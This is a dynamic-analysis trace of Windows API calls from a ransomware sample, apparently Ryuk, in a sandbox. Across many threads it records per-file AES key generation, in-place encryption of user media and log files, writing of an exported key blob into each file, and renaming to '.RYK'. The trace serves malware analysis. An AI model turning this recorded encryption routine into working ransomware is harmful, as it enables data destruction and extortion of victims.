	[0249.526] ReadFile (in: hFile=0x83c, lpBuffer=0x2980000, nNumberOfBytesToRead=0x27cf, lpNumberOfBytesRead=0x903f644, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x903f644*=0x27cf, lpOverlapped=0x0) returned 1
	[0249.532] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x903f640*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x903f640*=0xf4250) returned 1
	[0249.532] CryptEncrypt (in: hKey=0x2b9370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x903f648*=0x27cf, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x903f648*=0x27d0) returned 1
	[0249.532] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.532] WriteFile (in: hFile=0x83c, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x903f644, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x903f644*=0x27d0, lpOverlapped=0x0) returned 1
	[0249.533] WriteFile (in: hFile=0x83c, lpBuffer=0x903f670*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x903f650, lpOverlapped=0x0 | out: lpBuffer=0x903f670*, lpNumberOfBytesWritten=0x903f650*=0x6, lpOverlapped=0x0) returned 1
	[0249.533] CryptExportKey (in: hKey=0x2b9370, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x903f660 | out: pbData=0x0*, pdwDataLen=0x903f660*=0x10c) returned 1
	[0249.533] CryptExportKey (in: hKey=0x2b9370, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x903f6d0, pdwDataLen=0x903f660 | out: pbData=0x903f6d0*, pdwDataLen=0x903f660*=0x10c) returned 1
	[0249.533] WriteFile (in: hFile=0x83c, lpBuffer=0x903f6d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x903f650, lpOverlapped=0x0 | out: lpBuffer=0x903f6d0*, lpNumberOfBytesWritten=0x903f650*=0x10c, lpOverlapped=0x0) returned 1
	[0249.533] CloseHandle (hObject=0x83c) returned 1
	[0249.998] CryptDestroyKey (hKey=0x2b9370) returned 1
	[0249.998] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2876
	os_tid = 0x324c

	[0250.008] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0251.866] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0251.867] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8f3fc38 | out: lpFileSize=0x8f3fc38*=67698) returned 1
	[0251.867] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8f3fc48 | out: lpFileSize=0x8f3fc48*=67698) returned 1
	[0251.867] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x10750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.867] ReadFile (in: hFile=0x708, lpBuffer=0x8f3fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f3fc00, lpOverlapped=0x0 | out: lpBuffer=0x8f3fc90*, lpNumberOfBytesRead=0x8f3fc00*=0x19, lpOverlapped=0x0) returned 1
	[0251.869] CloseHandle (hObject=0x708) returned 1

Thread:
	id = 2884
	os_tid = 0x326c

	[0250.013] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0251.871] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0251.871] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8d4fcf8 | out: lpFileSize=0x8d4fcf8*=99266) returned 1
	[0251.871] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x8d4fd08 | out: lpFileSize=0x8d4fd08*=99266) returned 1
	[0251.871] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x182a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.871] ReadFile (in: hFile=0x708, lpBuffer=0x8d4fd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d4fcc0, lpOverlapped=0x0 | out: lpBuffer=0x8d4fd50*, lpNumberOfBytesRead=0x8d4fcc0*=0x19, lpOverlapped=0x0) returned 1
	[0251.874] CloseHandle (hObject=0x708) returned 1

Thread:
	id = 2885
	os_tid = 0x3270

	[0250.018] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv", dwFileAttributes=0x80) returned 1
	[0251.875] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0251.875] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x928f558 | out: lpFileSize=0x928f558*=98012) returned 1
	[0251.875] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x928f568 | out: lpFileSize=0x928f568*=98012) returned 1
	[0251.875] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x17dba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.876] ReadFile (in: hFile=0x708, lpBuffer=0x928f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x928f520, lpOverlapped=0x0 | out: lpBuffer=0x928f5b0*, lpNumberOfBytesRead=0x928f520*=0x19, lpOverlapped=0x0) returned 1
	[0251.887] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.887] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x928f538 | out: phKey=0x928f538*=0x2b8d50) returned 1
	[0251.887] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.887] ReadFile (in: hFile=0x708, lpBuffer=0x3090000, nNumberOfBytesToRead=0x17edc, lpNumberOfBytesRead=0x928f544, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x928f544*=0x17edc, lpOverlapped=0x0) returned 1
	[0251.890] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x928f540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x928f540*=0xf4250) returned 1
	[0251.891] CryptEncrypt (in: hKey=0x2b8d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x928f548*=0x17edc, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x928f548*=0x17ee0) returned 1
	[0251.891] SetFilePointer (in: hFile=0x708, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.892] WriteFile (in: hFile=0x708, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x17ee0, lpNumberOfBytesWritten=0x928f544, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x928f544*=0x17ee0, lpOverlapped=0x0) returned 1
	[0252.404] WriteFile (in: hFile=0x708, lpBuffer=0x928f570*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x928f550, lpOverlapped=0x0 | out: lpBuffer=0x928f570*, lpNumberOfBytesWritten=0x928f550*=0x6, lpOverlapped=0x0) returned 1
	[0252.404] CryptExportKey (in: hKey=0x2b8d50, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x928f560 | out: pbData=0x0*, pdwDataLen=0x928f560*=0x10c) returned 1
	[0252.405] CryptExportKey (in: hKey=0x2b8d50, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x928f5d0, pdwDataLen=0x928f560 | out: pbData=0x928f5d0*, pdwDataLen=0x928f560*=0x10c) returned 1
	[0252.405] WriteFile (in: hFile=0x708, lpBuffer=0x928f5d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x928f550, lpOverlapped=0x0 | out: lpBuffer=0x928f5d0*, lpNumberOfBytesWritten=0x928f550*=0x10c, lpOverlapped=0x0) returned 1
	[0252.405] CloseHandle (hObject=0x708) returned 1
	[0252.416] CryptDestroyKey (hKey=0x2b8d50) returned 1
	[0252.416] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2886
	os_tid = 0x3274

	[0250.022] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi.RYK", dwFileAttributes=0x80) returned 1
	[0251.892] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718
	[0251.894] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x93bfb38 | out: lpFileSize=0x93bfb38*=48546) returned 1
	[0251.894] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x93bfb48 | out: lpFileSize=0x93bfb48*=48546) returned 1
	[0251.894] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0xbc80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.894] ReadFile (in: hFile=0x718, lpBuffer=0x93bfb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93bfb00, lpOverlapped=0x0 | out: lpBuffer=0x93bfb90*, lpNumberOfBytesRead=0x93bfb00*=0x19, lpOverlapped=0x0) returned 1
	[0251.896] CloseHandle (hObject=0x718) returned 1

Thread:
	id = 2887
	os_tid = 0x3278

	[0250.026] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0251.898] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718
	[0251.899] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x95cf998 | out: lpFileSize=0x95cf998*=68402) returned 1
	[0251.899] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x95cf9a8 | out: lpFileSize=0x95cf9a8*=68402) returned 1
	[0251.899] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x10a10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.899] ReadFile (in: hFile=0x718, lpBuffer=0x95cf9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95cf960, lpOverlapped=0x0 | out: lpBuffer=0x95cf9f0*, lpNumberOfBytesRead=0x95cf960*=0x19, lpOverlapped=0x0) returned 1
	[0251.902] CloseHandle (hObject=0x718) returned 1

Thread:
	id = 2888
	os_tid = 0x327c

	[0250.030] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3", dwFileAttributes=0x80) returned 1
	[0251.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c
	[0251.816] GetFileSizeEx (in: hFile=0x82c, lpFileSize=0x916f838 | out: lpFileSize=0x916f838*=7298) returned 1
	[0251.816] GetFileSizeEx (in: hFile=0x82c, lpFileSize=0x916f848 | out: lpFileSize=0x916f848*=7298) returned 1
	[0251.816] SetFilePointerEx (in: hFile=0x82c, liDistanceToMove=0x1b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.816] ReadFile (in: hFile=0x82c, lpBuffer=0x916f890, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x916f800, lpOverlapped=0x0 | out: lpBuffer=0x916f890*, lpNumberOfBytesRead=0x916f800*=0x19, lpOverlapped=0x0) returned 1
	[0251.818] CloseHandle (hObject=0x82c) returned 1
	[0251.819] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3.ryk"), dwFlags=0x8) returned 1
	[0252.231] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2889
	os_tid = 0x3280

	[0250.033] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK", dwFileAttributes=0x80) returned 1
	[0250.989] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0250.989] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x971f5b8 | out: lpFileSize=0x971f5b8*=1042) returned 1
	[0250.989] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x971f5c8 | out: lpFileSize=0x971f5c8*=1042) returned 1
	[0250.990] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0250.990] ReadFile (in: hFile=0x7b4, lpBuffer=0x971f610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x971f580, lpOverlapped=0x0 | out: lpBuffer=0x971f610*, lpNumberOfBytesRead=0x971f580*=0x19, lpOverlapped=0x0) returned 1
	[0250.992] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2890
	os_tid = 0x3284

	[0250.378] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv.RYK", dwFileAttributes=0x80) returned 1
	[0251.822] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.823] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x982f818 | out: lpFileSize=0x982f818*=101218) returned 1
	[0251.823] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x982f828 | out: lpFileSize=0x982f828*=101218) returned 1
	[0251.823] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x18a40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.823] ReadFile (in: hFile=0x7b4, lpBuffer=0x982f870, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x982f7e0, lpOverlapped=0x0 | out: lpBuffer=0x982f870*, lpNumberOfBytesRead=0x982f7e0*=0x19, lpOverlapped=0x0) returned 1
	[0251.825] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2891
	os_tid = 0x3288

	[0250.380] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0251.827] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.827] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9f2f778 | out: lpFileSize=0x9f2f778*=57250) returned 1
	[0251.827] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9f2f788 | out: lpFileSize=0x9f2f788*=57250) returned 1
	[0251.827] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0xde80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.827] ReadFile (in: hFile=0x7b4, lpBuffer=0x9f2f7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9f2f740, lpOverlapped=0x0 | out: lpBuffer=0x9f2f7d0*, lpNumberOfBytesRead=0x9f2f740*=0x19, lpOverlapped=0x0) returned 1
	[0251.830] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2892
	os_tid = 0x328c

	[0250.381] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0251.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.832] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x8bffc18 | out: lpFileSize=0x8bffc18*=16674) returned 1
	[0251.832] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x8bffc28 | out: lpFileSize=0x8bffc28*=16674) returned 1
	[0251.832] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0251.832] ReadFile (in: hFile=0x7b4, lpBuffer=0x8bffc70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8bffbe0, lpOverlapped=0x0 | out: lpBuffer=0x8bffc70*, lpNumberOfBytesRead=0x8bffbe0*=0x19, lpOverlapped=0x0) returned 1
	[0251.835] CloseHandle (hObject=0x7b4) returned 1

Thread:
	id = 2893
	os_tid = 0x3290

	[0250.381] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0251.836] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.836] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa0ff658 | out: lpFileSize=0xa0ff658*=4034) returned 1
	[0251.837] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xa0ff668 | out: lpFileSize=0xa0ff668*=4034) returned 1
	[0251.837] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0xea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
